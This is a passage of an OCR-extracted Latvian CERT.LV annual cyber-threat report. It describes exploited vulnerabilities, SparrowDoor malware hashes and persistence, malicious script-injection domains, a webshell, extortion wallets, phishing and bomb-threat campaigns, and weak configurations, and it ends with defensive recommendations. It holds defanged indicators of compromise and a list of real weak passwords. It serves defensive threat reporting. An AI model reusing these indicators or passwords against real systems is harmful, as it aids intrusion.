izveidi, uzbrucéjs var dzést satitus zinojumus komunikacijas
laika, klientam/serverim nenojau$ot. Uzbrucéjam gan jabat
MiTM pozicija.

levainojamibas saistitas ar Microsoft Exchange, kur eksponéts,
neaizsargats serveris ir paklauts kompromitésanas riskam, lai ar1
uzbrucéjam ir jabat autentificéjusam, biezZi vien tiek pielietoti
citi vektori, pieméram, sociala inZenierija, tada veida tiekot pie
piekluves datiem.

Plasak: https://securelist.com/cve-2022-41040-and-cve-2022-
41082-zero-days-in-ms-exchange/108364/

Nepietiekamas SVG failu (rcube_washtml.php) sanitizésanas dé|
uzbrucéjs var izsaukt patvaliga JavaScript koda izpildi, nosatit
specifiski veidotu HTML e-pasta zinojumu.

Plasak: https://www.welivesecurity.com/en/eset-
research/winter-vivern-exploits-zero-day-vulnerability-
roundcube-webmail-servers/

Atklata augsta limena ievainojamiba - heap-overflow OpenSLP
servisa, kas bez iepriekséjas autentifikacijas |Jautu veikt
attalinata koda izpildi uzbrucéjam, ja tas atrodas viena tikla
segmenta un ir piekluve 427 portam VMWare ESXi.

Publiski pieejamo PoC dé&| varéja paredzét, ka uzbrucéji So
ievainojamibu izmantos, un notikumi arvien vairak paradisies
CERT.LV sensoros.

Windows RDS ievainojamiba, ko pazist ari ka BlueKeep. Lai ar1 ta
tika publiskota 2019. gada maija, ta joprojam ir aktuala un
saistama ar novecojusu OS izmantoSanu, kas manams ar1
notikumu atspogulojuma. S tendence ar laiku ir mazinajusies.
BlueKeep ir nopietna ievainojamiba, ta Jauj veikt attalinatu un
neautentificétu uzbrukumu, kura uzbrucéjs var izpildit kodu uz
eksponétas sistémas bez Tpasas piepules.

levainojamibas, kuru sekmigas izmantoSanas gadijuma
autentificéts lietotajs/uzbrucéjs var veikt patvaligu koda izpildi
uz sistémas, tada veida ieglstot pilnigu kontroli par Microsoft
Exchange serveri un iespéju parvietoties talak laterali.

Saglabata starpvietnu skriptéSanas (stored-XSS) ievainojamiba,
kura uzbrucéjs var veikt patvaligu JavaScript koda izpildi.
Zimbra Collaboration Suite (versijas 8.8.15 un 9.0) ievainojamiba
saistita ar mboximpor funkcionalitati, kas apstrada ZIP arhiva
datnes. Uzbrucéjs var augsSupieladét sistéma patvaligus failus,
radot direktoriju SkérsoSanu (path traversal) un attalinatu koda
izpildi. Novérots, ka konkrétas ievainojamibas notikumu
biezums bija nemainigs visa gada garuma. Sada nemainiguma
tendence varétu noradit uz pastavigu draudu, jo eksponétais
serviss netika atjauninats.

Plasak: https://cyble.com/blog/zimbra-email-vulnerability-cve-
2022-37042-weaponized-to-cause-large-scale-compromise/
Kritiska ievainojamiba, kas sniedz uzbrucéjiem iespéju veikt
attalinata vai patvaliga koda izpildi (RCE) ievainojamaja sistéma.
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6.1.1. Kompromitétas iekartas

Ir atklati gadijumi, kad Jaunatira nepamaniti funkcionéja infrastruktira vairakus gadus.
Pieméram, tika identificeéti Windows serveri, kuri tika kompromitéti 2021. gada sakuma,
izmantojot uz to bridi jaunu ievainojamibu CVE-2021-26855, un inficéti ar attalinatas
kontroles Jaunatiiru SparrowDoor. Launatiras md5 summas:

46077a32e433a56eb8bab4dchf86bc60 libcurl.dll
8ad3f513f48f711d573d33b7419e3ed5 libhost.dll
5f983177f3f9ceb6cb72088f3da96435d Searchindexer.exe

Noturiba jeb persistence:

21. attéls. Piemérs kompromitétam iekartam

HKEY_LOCAL_MACHINE\System\ControlSet001\Services\Searchindexer

Value Name Value Type Data Value Slack
v | o e e e
Start RegDword 2
ErrorControl RegDword 0
Type RegDword 272
» | ImagePath RegExpandSz  C:\ProgramData Microsoft\DRM\SearchIndexer.exe { 34-00-65-00-32-00
DisplayName RegSz Windows Searcher 44-00
Description RegSz Provides content indexing, property caching, and search resul... 6C-6F-77-65-64-50
ObjectName RegSz LocalSystem 6F-00-73-00

IOC, péc kuram Jaunattra konstatéta, regulari DNS pieprasijumi doménam:
cdn181.awsdns-531[.Jcom

2023. gada Latvija ir izteikti vérojama botu tiklu aktivitate. Konstatéts, ka dala brute-
force un DDoS uzbrukumos iesaistitas ierices, kas atrodas Latvijas IP apgabala, bija
inficetas un inkorporétas Mirai un Gamut |aunatiru botu tiklos. Vérojama ari
socks5systemz un SystemBc botnetu izplatiSanas.

Apkopojot informaciju par kompromitétam timekla vietném, ir vérojams, ka visbiezak
neautorizéta piekluve timekJu serverim un ta failu neautorizéta modifikacija notiek,
izmantojot CMS versiju un to spraudnu versiju ievainojamibas. Balstoties uz minéto, var
secinat, ka biezakais timekla serveru kompromitésanas iemesls ir CMS un to spraudnu
novélota atjaunosSana. Papildus ieziméjas tendence, ka biezak par citam tiek
kompromitétas timek|a vietnes, kas ir veidotas uz WordPress bazes, tomér $1 tendence
ir skaidrojama ar to, ka WordPress ir visbiezak izmantotais CMS.

Pieméram, tika konstatétas SocGholish un Balada Injector laundabigas JavaScript
injekcijas. Domeéni, no kuriem laundabigais JavaScript tika ieladéets kompromitéeta
timekla vietne:

bluegaslampl.]org

throatpills[.]org

draggedline[.]org

bee.selectofmychoices[.]Jcom

collect.getmygateway[.]Jcom

Novérots, ka uzbrucéji, kompromitéjot timekla serveri, veic pikSkeréSanas satura
izvietoSanu vai arT izmanto timekla serveri ka prettiesiski ieglito datu kolektoru jeb
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pikskeréSanas kontroles serveri. Praktiski katra gadijuma, kad uzbrucéjiem ir iespéja
veikt neautorizétu timekl|a servera modifikaciju, serveri tiek ievietoti vairaki lJaundabigi
Caulas skripti jeb webshell, ar kuru palidzibu uzbrucéjiem ir iespéjas kontrolét
kompromitétos timek|u serverus un caur tiem attalinati izpildit komandas.

Nereti uzbrucéji ar ievainojama timekla servera starpniecibu piek]ast arl citiem
resursiem, pieméram, izgust datubazes, kuras satur ari fizisko personu datus. Dazos
gadijumos uzbrucéji, tai skaita politiski motiveti, veic timek]a vietnes izkémosanu jeb
defacement.

CERT.LV redzesloka nonakusi informacija par vairakam timekla vietném, kuras skara
kiberuzbrukumi. Ar lielaku ietekmi saskaras uznémumi, kas nodrosina norékinus ar
maksajumu kartém sava e-veikala. Viena no Sadiem gadijumiem uzbrucéji izveidojusi
fiktivu maksajumu iespéju e-veikala, kas rezultéjies ar konkréta laika perioda aktivo
lietotaju karSu datu nozagsSanu.

Vairakos gadijumos uzbrucéji kompromitétajas vietnés ievietojusSi webshell. Ka
kompromitacijas vektors izmantoti WordPress spraudni, kuros fiksétas ievainojamibas,
un kas nav tikusi savlaicigi atjauninati.

php_doggy .../wp-content/plugins/duplicator/define.php
md5 a59522413d589d862bec68038408c837
WP Duplicator plugin

Kompromitétu sistemu gadijumos tajas tika izvietoti izspiedéjvirusi. Ar izspieSanu
saistiti art privatpersonu iekartu kompromitésanas gadijumi, kur viena gadijuma
kompromitéta iekarta, uznemti ekranSavini no personas darbstacijas un izvérsta
izspieSana. Piemérs ar informaciju, ko apmaksai noradijusi krapnieki:

shendyshendy@yahoo.com
My BTC wallet address:
bclgvc7autfgxlaen45ks2vgynkkt53778hwtp7axy

radjabsaandi@yahoo.fr
My BTC wallet address:
bclgvc7autfgxlaend45ks2vgynkkt53778hwtp7axy

denis_rutaihwa@yahoo.com
BTC wallet address:
bclgvc7autfgxlaend45ks2vgynkkt53778hwtp7axy

Vairakos gadijumos tika noveéroti pieejami uzbrukuma vektori, kas nerezultéjas ar
incidentu. Sajos gadijumos bija pieejami eksponéti un atrodami servisi, caur kuriem
veicot pieprasijumus, bija iespéjams piekl|it privatai informacijai.

6.1.2. Makonpakalpojumu nepieejamiba

Attieciba uz sistému nepieejamibu, Latvijas teritorija vairak neka 2 stundas nebija
pieejami Microsoft makonpakalpojuma servisi, MIOL NBICS interneta protokola balss
parraides (VolP) pakalpojumi un NIICS video/VolP zvans, ka ari IM un e-pasta
pakalpojumi, savukart Azure doménu vardu sistéma (DNS) saskaras ar DNS pieprasijumu
problémam, kas rezultéjas ar pakalpojumu partraukumu, ietekméjot vairakus Microsoft
pakalpojumus. Ka problémas avots tika identificeéts klGdains marsrutétajs Microsoft
plasas zonas tikla (WAN) sistéma, kur$ tika ieviests servisa tikla izbaves laika. Sis
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pakalpojuma partraukums nebija droSibas parkapuma rezultats, un par to tika zinots
plasas pakalpojumu nepieejamibas dél.

Pakalpojumu nepieejamibas gadijuma CERT.LV aicina ievérot labo praksi un par to zinot
CERT.LV, ka arT zinot gadijumos, pat ja iemesls nav droSibas parkapuma rezultats,
nodrosinot atvértu komunikaciju par situacijas statusu.

6.1.3. Draudu veéstules

OktobrT simtiem Latvijas skolu un bérnudarzu savos e-pastos sanéma spridzinasanas
draudu véstules. Lai arT véstules bija bez pamata (Valsts policija tas izvértéja un secinaja,
ka draudu limenis tiek raksturots ka zems), tas tomér radija ievérojamu satraukumu
sabiedriba.

Draudu véstules, kuru mérkis, visticamak, bijis radit sabiedriba bailes un Saubas par valsts
un pasvaldibas iestazu kapacitati un spéjam nodrosinat sabiedrisko kartibu, visticamak, bija
Krievijas organizéta ietekmes operacija pret Latvijas sabiedribu. Spridzinasanas draudu
véstules tika izsttitas AMUTPUI XAP/IAMOB varda.

Ka sazinas valoda tika lietota krievu valoda ar noradi: RigaV2.t.me
Noraditie “Telegram” konti: @Rigagames, @prbfront.

Sadu draudu véstulu satisanas tendence saglabajas, turklat identiska satura draudu e-
pasti tika izplatiti ari citam Latvijas iestadém, tai skaita tiesam un pasvaldibam.

Izsutitaja piemeérs: mail-lj1-f194.google.com (mail-1j1-f194.google.com [209.85.208.194]

6.1.4. Uzbrukumi socialo tiklu profiliem

Informacija par kompromitétiem lietotaju socialo mediju kontiem tika sanemta visa
gada garuma ievérojama intensitaté. Liela skaita fikséti gadijumi ar kompromitétiem
“Instagram” un “Facebook” kontiem, kur piek]uve ieglta, izmantojot socialo inZenieriju.

Izplatitaka metode: lietotajam tiek nosatita zina no profila, kura nosaukums ir dazadas
“Facebook” Administrator, “Meta” Administrator, “Instagram” Blue Badge variacijas.
Lietotajs tiek informeéts par platformas noteikumu parkapumu, un, lai nodroSinatu
turpmaku piekluvi kontam, nepiecieSams veikt darbibas sititaja zina noraditaja saité.
Savukart saité nosaukums lidzinas attiecigajai “Meta” platformai, kur jaievada lietotaja
dati, kas tiek parsutiti krapniekiem.

Vértigu “Instagram” kontu gadijuma tiek prasita izpirkuma maksa aptuveni 500 eiro
apmeéra. lzmantojot So shému, kompromitéti ar1 vairaki uznémumu “Facebook” konti,
kur nodariti finansiali zaudéjumi, izmantojot “Meta” Bussiness piesaistitas uznémumu
kreditkartes. Kompromitéto privatpersonu kontu gadijuma ir svariga atra reakcija, jo ir
novérots, ka kompromitétie konti tiek izmantoti citu kontu kompromitésanai, tapéc
svarigi noveérst talaku kézveida kompromitéto kontu pavairoSanu.

Novérota krapnieciba ari pardosanas sludinajumu izvietoSanas vietnés, pieméram, ss.lv,
kur uz sludinajumu atsaucas krapnieki, kuri nosuta saiti, pieméram, veidojot zem
arvalstu doména varda delivery-pack.shop apakSsdoménu ar Latvijas sabiedriba
atpazistamu simbolu virkni omniva.lv, kas maldigi atgadina .Ilv augstaka l[imena doména
vardu.
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Piemérs: hxxps[://]Jomnival.]lv[.]delivery-pack[.]shop/order/927261819, kas ir
krapnieciska vietne ar mérki izglt personas kreditkartes datus un finansu lidzek]us.

leteikumi drosibai

1.

10.

11.

Veikt parolu uzglabasanu Ssifreta veida, pieméram, izmantojot parolu
parvaldnieku.

Lietot programmatiiru no legitimiem avotiem.

Veicot precu iegadi interneta no privatpersonam, izmantot oficialas
kurjerpakalpojumu uznémumu vietnes, ka art atturéties no kreditkartes datu
ievades un izvéléties samaksu veikt ar SEPA parskaitijumu.

Personu e-pastu un citu kontu droSibas nodrosinasanai aicinat darbiniekus
izmantot unikalas un drosSas paroles, ka ari, kur vien tas ir iespéjams,
pieprasit divu faktoru autentifikacijas (2FA) izmantosanu.

Sanemot e-pasta véstuli no personam, ar kuram tiek veikta regulara
komunikacija, parbaudit, vai tiek izmantots kads no e-pasta kontiem, kuri figuré
regularaja komunikacija. Sistému administratoriem ieteicams izmantot
DMARK, SPF un DKIM tehnologijas.

Pakalpojumu nepieejamibas gadijuma ievérot labo praksi un par to zinot, arl
gadijumos, ja iemesls nav drosSibas parkapuma rezultats, nodroSinot atvértu
komunikaciju par situacijas statusu.

Uzturot sistémas, kuras pieejama ieksSéjas lietoSanas informacija, regulari
monitorét eksponétos servisus, it ipasi pie sistému atjauninajumu veikSanas.

Timekla vietném, kuras iespéjams norékinaties ar maksajumu kartém, veikt
vietnes drosibas auditu, ideala gadijuma ar1 PCl sertifikaciju.

Satura vadibas sistemai (CMS) un spraudniem izvéléties automatisko
atjauninajumu iespéju vai veikt regularus atjauninajumus. RUpigi izvertét
uzstaditos spraudnus un to nepiecieSamibu.

Uzturot augstas nozimibas sistémas vai tadas, kuras tiek glabata informacija
liela apjoma, kas ir griti atjaunojama, obligati izmantot aréjo rezerves kopiju
uzturésanu.

Uzturot resursus, it Tpasi informativus un/vai kur minétas konkrétas personas un
tam piesaistita informacija, ko iespéjams izmantot jebkada veida |aundabigos
noltkos, pieméram, pikSkerésana, noradot jau pieejamu informaciju, aicinat vai,
kur tas iespéjams, pieprasit uzglabat Zurnalfailus, kas satur informaciju par
piekluvi Siem resursiem un to saglabasanu/lejupieladi, ja informacija tiek
nodrosinata dokumentos ar lejupielades iespéju.

6.2. Nedrosa infrastrukturas konfiguracija

Draudu medibu procesa tiek novértéta ari organizacijas visparéja IKT infrastruktdra un
1pasi tas drosibas konfiguracija. Zemak apkopota informacija par visbiezak sastopamam
konfiguracijas nepilnibam, ka ari noraditi reali piemeéri.
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Nespéja nodrosSinat visu aréja perimetra eksponéto resursu uzturésanu atbilstoSa
drosibas Iiment:

Novérojamas, pieméram, problémas timekla vietnu darbiba - regulari netiek
atjauninati drosibas sertifikati, vietnes novecojusas (novecojis CMS un/vai ta
paplasinajumi). levainojami vai novecojusi webmail risinajumi, turklat bez
divfaktoru (2FA) aizsardzibas.

Nav ierobezZota piekluve administratora panelim.

Nav ieviesta lietotaju kontu blokésanas politika (Account Lockout Policy)
gadijumos, kad tiek veikts noteikts skaits neveiksmigu autentifikacijas
meéginajumu.

Aréja perimetra tiek eksponéti servisi, kuriem nav jabat publiski pieejamiem no
visa interneta. Pieméram:

o publiski pieejamas testa vides, reizém pat ar ieslégtu atk|GdoSanas (debugging)
funkcionalitati;

publiski pieejamas video novérosanas kameras;

publiski pieejama nepartrauktas barosanas sistéma (UPS);

publiski pieejamas serveru statusa lapas;

publiski pieejams RDP (Remote Desktop Protocol).

O O O O

Netiek kontroléta attalinata piekluve kooperativajam tiklam:

Nav dokumentéta VPN (Virtual Private Network) konfiguracija, lai parliecinatos
par pienacigu tikla segmentaciju un pieslégumu kontroli.

Identificéti gadijumi, kad sekmigi pieslegumi VPN vartejai notiek no dazadiem
komercialiem VPN pakalpojumiem, reizém pat no 4 vai 5 dazadiem raZotajiem
vienas iestades ietvaros.

Netiek uzglabati Zurnalfaili un cita drosibas telemetrija, ta bdtiski apgratinot vai pat
padarot drosibas incidentu izmeklésanu neiespéjamu.

Atseviskos gadijumos organizacijas tika izmantota SIEM (Security Information and
Event Management) sistéma, tacu bieZzi ta bija nepareizi konfiguréta, kas liedza
atbildigajiem specialistiem laicigi reagét uz notikumiem, pieméram:

SIEM iestatijumos nav izmainita majas valsts (home country), ta rezultata visi
savienojumi no Latvijas tiek markéti ka arzemju.

SIEM risinajums sanem tikai daju telemetrijas datu, pieméram, tikai Windows
iekartu Zzurnalfailus, bet ne Linux vai tikla iekartu datus, nedz ari VPN
piesléegumu informaciju; tapat bieZi tika konstatéts, ka tikai neliela dala
infrastruktdras iekartu iestta datus, pieméram, tikai atseviski serveri, bet par
lietotaju iekartam nav padomats.

Novecojusi vai neatbalstiti risinajumi IT infrastruktiiras darbibas nodrosSinasanai:

Visas organizacijas tika konstatéts kads no Microsoft Windows produktiem,
kuram ir beidzies raZotaja atbalsts, un tas vairs nesanem drosibas
atjauninajumus. Ka visizplatitakie produkti Saja kategorija ir Microsoft Windows
operétajsistémas - Server 2012 R2 Standard, Server 2012 Standard, Storage
Server 2012 R2, Server 2008R2 Standard, ka ari Windows 7.

Konstatéti ari citi novecojusi, raZotaju neatbalstiti vai ievainojami risinajumi:
Ubuntu 18.04, Novell/Microfocus ZENworks, Adobe Flash Palyer, OpenSSH - CVE-
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2023-38408 ar novértéjumu 9.8, Apache - CVE-2023-25690 ar novértéjumu 9.8,
VMWare Exsi - CVE-2019-5544 ar novértéjumu 9.8, Moodle 3.8.0.

Novecojusi SifréeSanas un autentifikacijas mehanismi:

e NTLM autentifikacija: Joprojam 90% iestazu tiek novérota NTLM autentifikacijas
protokola izmantoSana. NTLMv1 un NTLMv2 autentifikacija ir paklauta dazadiem
uzbrukumiem, pieméram, SMB replay, partvéréjuzbrukumiem (Man in the
Middle Attack), pass-the-hash, parlases uzbrukumiem (brute-force attack).

e Kerberos RC4-HMAC Sifresana: RC4-HMAC Sifrésanas algoritms ir paklauts
vairakam ievainojamibam, un pareja no RC4-HMAC uz AES128 un AES256
algoritmiem ir ieteikta jau kop$ Windows Server 2008 paradiSanas. lzmantojot
RC4-HMAC, infrastruktlra ir paklauta Kerberoasting - tas ir uzbrukuma veids,
kas izmanto Kerberos protokolu, lai izgltu servisa konta paroli no Kerberos
biletena. Attiecigi péc tam jau uzbrucéjs var neautorizéti parvietoties talak pa
tiklu/resursiem, jo servisu kontiem nereti ir priviligétas tiesibas, un to paroles
tiek reti mainitas.

e SMBv1. SMBv1: Sens autentifikacijas protokols, kuram piemit vairakas kritiskas
ievainojamibas, un kas ticis izmantots arl vairakos tados liela méroga
kiberuzbrukumos, ka, pieméram, EternalBlue, WannaCry, Emotet.

Infrastruktiras lietotajiem parak augstas tiesibas jeb privilégijas:
e Identificéti gadijumi, kad organizacija visi lietotaji ir ar priviligétam lietotaja
tiestbam (Administrator) savam iekartam.

e Vairaki lietotaji lieto vienu kontu, lai ari to ienemamo amatu pienakumi var
atskirties. Tas apgratina konkréto lietotaju veikto darbibu atsekoSanu.

Lietotas paroles gan uz serveriem, gan darbstacijam un tikla iekartam ir vienkarsas,
neatbilst droSibas prasibam, labas prakses rekomendacijam, ka ari biezi vien
atkartojas starp iekartam ar minimalam variacijam. Janem véra, ka 8 simbolu parole ir
atminama uz 3080ti kartes 5-10 minatés, izmantojot parolu pilnas parlases (brute-
force) uzbrukuma tehniku. Tapat identificéts Sadu parolu lietojums:

e admin, admin123, Saulel123, 123456a,P@sswOrd, P@SSwOrd!, gazQAZ123,
NEWPASS;

e paroles, kas satur gadalaiku, gada skaitli un/vai pasas iestades nosaukumu;

e atseviskos gadijumos konstatéts, ka Microsoft Windows iekartas lokalo
administratoru paroles ir vienadas vai vienadas vairakas iestades filialés;

e paroles ilgstosi netiek mainitas.

Paroles tiek uzglabatas atklata teksta — gan ka teksta datnes, gan skriptos. Ja
uzbrucéjam izdodas iegut pieeju tiklam vai pie konkrétas iekartas, tas var |oti
vienkarsi Sis paroles partvert un méeginat izplatities talak pa tiklu. Janem véra, ka sada
veida uzglabatas paroles daudz vienkarsak var tik nopludinatas ari no pasu darbinieku
puses — nejausibas vai nolaidibas rezultata.

Neesosa vai vaji konfiguréta programmatiiras aizliegSanas politika (SRP), novérota
sada programmatira:

e Kooperativajas darbstacijas tiek lejupieladétas datorspéles un ar tam saistitas
komponentes, pieméram - Minecraft, Counter-Strike, Roblox, Steam, Razer
Cortex, OKApp.
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e Tiek lejupieladéta programmatdra, kas |auj lietotajiem lejupieladét un daltties ar
failiem, izmantojot peer-to-peer (P2P) tiklu, pieméram - uTorrent,
uTorrentPortable, BitTorrent, MediaGet. Torentu datnes médz manigi noradit
failu saturu/nosaukumu, lai to izmantojot izplatitu Jaunatlru un nelicencétu
programmatiru. Sadu failu lejupielade var batiski palielinat ka iekartas, ta ari
visas infrastrukttras kompromitésanas riskus.

e Reklamas izplatosSa programmatira (adware) un kriptovalQtu raZzoSanas virusi.

e Piratiski Microsoft produktu aktivizéSanas riki, pieméram - KMSAuto Net.exe,
KMSAuto.exe, max8keygen.exe, Microsoft toolkit 2.6.2.exe, - ar kuriem
komplekta nereti nak arT sensitivas informacijas zagSanas virusi un kriptovalitu
kontu zagSanas riki.

¢ Noveroti dazadi sistemu/tiklu skenésanas un ielausanas testu riki vai to paliekas,
ko var izmantot art launpratigi. Administratori reizém pat nespéj komentét,
kapéc tadi atrodami uz konkrétas iekartas, nereti darbinieks, kas tos izmantoja,
jau ir partraucis darba attiecibas ar konkréto iestadi.

Nav ieviesta aréjo datu neséju (USB) kontrole, ta rezultata infrastruktiara var tikt
ievazata launatiira, pieméram, Rasberry Robin.

Konstatéta Krievija un Kina izstradatas programmatiras izmantosana:

e Pieméram, attalinatas piekluves riks TightVNC pieder Krievijas uznémumam
“GlavSoft LLC”. Tapat ari visiem labi zinamais tdlitéjas zinojumapmainas riks
“Telegram”, kura izcelsmei ir saikne ar Krieviju, joprojam tiek plasi izmantots,
tapat art Yandex meklétajprogramma.

e Retak, bet tomér novérota ari timek|a parlikprogrammas Opera izmantosana,
kuras piederiba saistama ar Kinu.

DNS savienojumi uz vietném, kas nav nepiecieSamas darbinieku tieSo amatu
pienakumu veiksanai. Visbiezak tie ir piesléegumi uz .xyz, .top un .biz doméniem un
straumeésanas servisiem. Sadi domeéni biezi tiek izmantoti Jaunatiras komunikacija ar

-----

savas darbstacijas un paklauj darba IKT vidi kompromitéSanas riskam:

e Noveéroti savienojumi uz doménu playground[.]xyz, kas ir saistits ar reklamu
uzturésanu\izplatisanu, un nereti tas spéj izplatit arT launataru.

e Tapat novérots, ka darbinieki médz apmeklét arl vietnes, kas saistitas ar
azartspélém, filmu un serialu strauméSanas servisiem (hdrezka[.]ag un
hdrezkal[.]ac) vai bezmaksas muazikas lejupielades iespéjam (www[.]isrbx[.]net).

Nereti novérojama nepilniga antivirusa konfiguracija un dazadu AV risinajumu
vienlaiciga izmantoSana vienas infrastruktiiras vai pat iekartas ietvaros:

Novérots, ka ir izslegta Windows Defender antivirusa komponente, kas atbild par
apdraudéjumu monitorésanu reallaika. Cita gadijuma antivirusa serviss konfiguréts ta,
ka tas ir jaieslédz manuali jeb kd Startup Type: on-demand. Sada konfiguracija ir
aizdomiga, jo nereti launatira veic Sadas sistémas izmainas, lai netiktu blokéta no AV
risinajuma puses. Laba prakse antivirusu servisiem ir tos startét automatiski
(StartupType:Automatic/Auto load).

Netiek uzturéeta strikta uzskaites kartiba un kontrole pagaidu jeb testa sistemam.

Sistémas iebtvéto kontu izmantosana:
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Vairakas Linux iekartas tika novérota ieblvéta lietotaja root konta izmantosSana
SSH pieslégumiem. Root lietotajs ir ar visaugstakajam tiestbam sistéma un, ja
root lietotajs tiek kompromitéts, uzbrucéjs var iegut neierobeZzotu piek|uvi
sistémai.

Windows iekartas visai biezi tika novérots iebdvétais lokala lietotaja konts
Administrator, un arl Sis lietotajs ir ar visaugstakajam tiestbam konkrétaja
sistéma. Tas nozimé, ka laundari varétu ieglt neautorizétu pieeju sistémai,
izmantojot, pieméram, parlases uzbrukumus (brute-force attacks), un péc tam
parvietoties tikla ar to pasu lietotaja vardu.

Korporativas informacijas augsupielade publiskos servisos:

Pieminésanas verts ir gadijums, kad tika konstatéts, ka e-pastu datnes .eml, kas satur
organizacijas iekSéjo informaciju, ir tikuSas augSupieladétas VirusTotal risinajuma
(VirusTotal ir pakalpojums, kur var parbaudit failus/IP adreses/doménus pret vairakiem
antivirusa/IT droSibas risinajumiem ar meérki noteikt, vai tie satur launatiru vai citas
kaitnieciskas pazimes). Tada veida organizacijas iekséja informacija kluva publiski
pieejama - to varéja lejupieladét citi VirusTotal lietotaji. Sada prakse ir bistama, jo faili
var saturéet iekséju/konfidencialu informaciju, kura nav paredzéta izplatisanai uz aru.

leteikumi drosibai

1.
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Regulari apzinat visas organizacija lietotas iekartas, kas tiek izmantotas darba
vidé, un parliecinaties, ka tas resursi nav eksponéti uz aru jeb publisko
internetu. Ja ir nepiecieSamiba eksponét piekjJuvi uz aru, tad piekluve jaatlauj,
izmantojot tikai droSus risinajumus, pieméram, daudzfaktoru autentifikaciju
(2FA/MFA) vai publiskas/privatas identifikatora atslégas.

Regulari apzinat aktualas iekartas un to versijas. Nodrosinat, ka atjauninajumi
tiek uzstaditi regulari, lai nodroSinatu to aizsardzibu pret aktualajam
ievainojamibam.

Veikt centralizétu auditacijas pierakstu uzkrasanu.

Nodrosinat piekluvi resursiem tikai tiem darbiniekiem, kam ta ir nepiecieSama.
Neizmantot sistém3 ieblivéto Administratora/root kontu. Laba prakse nosaka
stingri ierobeZot vai pat atslégt ieblvétos lietotaju kontus (pieméram,
root/Administrator/Guest), tada veida apgratinot uzbrucéja iespéjas piemeklet
sistémai atbilstosus piekJuves datus, pieméram, lietotajvardu/parolu parlases
uzbrukumu laika. leteicams izveidot atseviSku lietotaju ar ierobeZotam
privilégijam/piekluvi un parslégties uz root/Administrator lietotaju tikai tad, kad
tas ir nepiecieSams.

Nodrosinat labas prakses parolu politiku.

6.1. Parole nedrikst bat 1saka par 14 simbolu (burti/cipari/simboli) kombinaciju.
Viens no piemériem, ka veidot droSu paroli, ir lietot parolu frazes, ka ar
nepiecieSams izvairities no esoso parolu atkartotas izmantosSanas, — taja skait3,
ja nomaina tikai dazus, atseviSkus simbolus. Pieméram, paroli S@uleSOdienSp1d
nomainot uz S@uleS0dienSp1d123 vai S@uleSOdienSp1d_Fb uz
S@uleSOdienSpld Tw (ja pasam ir vienkarsi atceréties, tad arl uzbrucéjam bis
viegli uzminét — ja tas ir redzéjis vienu sadu paroli kada nopladé, viegli uzminés
paréjas).

6.2. lzmantot parolu parvaldnieka programmatiru, $ada veida jaunas un drosas
paroles tiek generétas un lietotajam jaatceras tikai ‘master’ jeb galvena parole.
6.3. Attieciba art uz visam parolem, kas tiek uzstaditas péc nokluséjuma,
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10.

11.

12,

13.

14.

15.
16.

17.

nedrikst atstat default paroles jebkadiem kontiem.
6.4. Microsoft Windows iekartu lokalo administratoru kontu parolu centralizétai
parvaldisanai, ieteicams izmantot Microsoft LAPS (Local Admin Password
Solution) risinajumu.

Parliecinaties, ka netiek izmantota novecojusi Windows autentificésanas
metode ar NTLM protokolu. Tapat japarliecinas, ka Kerberos protokols
neizmanto novecojusu SifréSanas algoritmu RC4_HMAC_MDS5, ta vieta jaizmanto
AES128 un/vai AES256 algoritms.

Atslegt SMB (Server Message Block) vl protokolu. NepiecieSams pariet uz
SMBv2/SMBv3. Vairak par to, ka atsléegt SMBvl gan manuali, gan ar grupu
politikam, gan uzraudzit, vai tas tiek izmantots, var lasit Microsoft
dokumentacija: https://docs.microsoft.com/en-US/windows-server/storage/file-
server/troubleshoot/detect-enable-and-disable-smbv1-v2-v3#disable-smbv1-
server

Izmantot un pareizi konfigurét SRP (Software Restriction Policy), lai
koorporativaja vidé nevar palaist izpildamos failus, kas tiek patvaligi
lejupieladéti.

Izmantot tikai vienu attalinatas piekluves riku, lai vieglak pamanitu
launpratigas izmantoSanas pazimes. Konstatéjot cita rika izmantoSanu, var
apstiprinat to ka anomaliju un, iespé&jams, uzskatit par launpratigu darbibu.
Parliecinaties, ka tiek izmantota un pareizi konfiguréta Windows Defender
antivirusa programmatura.

Parliecinaties, ka tiek izmantoti un ir pareizi konfiguréti ugunsmira risinajumi.
leteicams ieviest stingraku timekla izmantosSanas politiku, kas ietver arl
preventivus risinajumus, pieméram, CERT.LV un NIC.LV izstradato DNS
ugunsmdri (vairak informacijas vietné https://dnsmuris.lv).

Stingri ieteicams izmantot SIEM (Security Information and Event Management),
lai varétu atri un efektivi reagét uz drosibas incidentiem.

Parliecinaties, ka lietotaji izmanto savas darba iekartas tikai un vienigi darba
pienakumu pildiSanai.

Parliecinaties, ka ir ieviesta aréjo datu neséju un ta izpildamo failu kontrole.
Izmantojot VirusTotal servisu, ieteicams taja augSupieladét nevis visu datni, bet
gan tas jaucéjvértibu (hash value, pieméram, MD5, SHA-1 vai SHA-256), tadéjadi
varés izvairities no ta, ka kooperativa vai ierobeZotas pieejamibas informacija
klGst publiski pieejama. Parbaudit jaucéjvértibu var vairakos veidos, pieméram,
uz Windows iekartam, komandrinda ievadot certutil -hashfile Example.txt MD5.
So jaucéjvértibu péc tam var uzmeklét VirusTotal, lai parbauditu vai fails satur
launatdru vai art ir kadas citas aizdomigas pazimes.

Planot un organizét regularas darbinieku apmacibas un zinasanu parbaudi
vismaz reizi gada. Regulari informét darbiniekus par biezak iespé&jamajiem
kiberapdraudéjumiem. leteicams sekot lidzi CERT.LV socialo mediju kontiem un
vietnei cert.lv, kur pieejama informacija par aktualitatém kiberdrosibas joma.

£ X in)

http://www.facebook.com/certlv | https://twitter.com/certlv | https://www.linkedin.com/company/cert.lv/
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Ukrainas kara pieredze liecina, ka karadarbibas atbalstam agresors var veikt
kiberuzbrukumus ar1 Internet of Things - 10T iericém. Vairakkart konstatéts, ka publiski
pieejamas IP videonovéroSanas kameras var izmantot sléptai novéroSanai, lai izsekotu
ienaidnieka spéku parvietoSanos. Lai apzinatu 81 riska ietekmi, CERT.LV veica Latvijas IP
adresSu apgabala esosu publiski eksponétu un ievainojamo IP videonovérosanas kameru
identificéSanu.

Tika veikta videonovéroSanas kameru apzinasana, parbaude, lai noskaidrotu, vai ir
iespéjama neautorizéta piekJuve videonovéroSanas kameru vizualai plismai (RTSP) un
administracijas paneliem. Kopuma tika konstatétas 157 IP adreses, kuras uzturétas
vairak neka 200 ievainojamas IP videonovéroSanas kameras, tostarp 37 no tam
konstatéta RCE jeb attalinata koda izpildes iespéja.

Galveno ievainojamibu raksturs ir Sads:

e Nokluséjuma parolu izmantosana;
e Brivi/publiski pieejamas RTSP plismas;

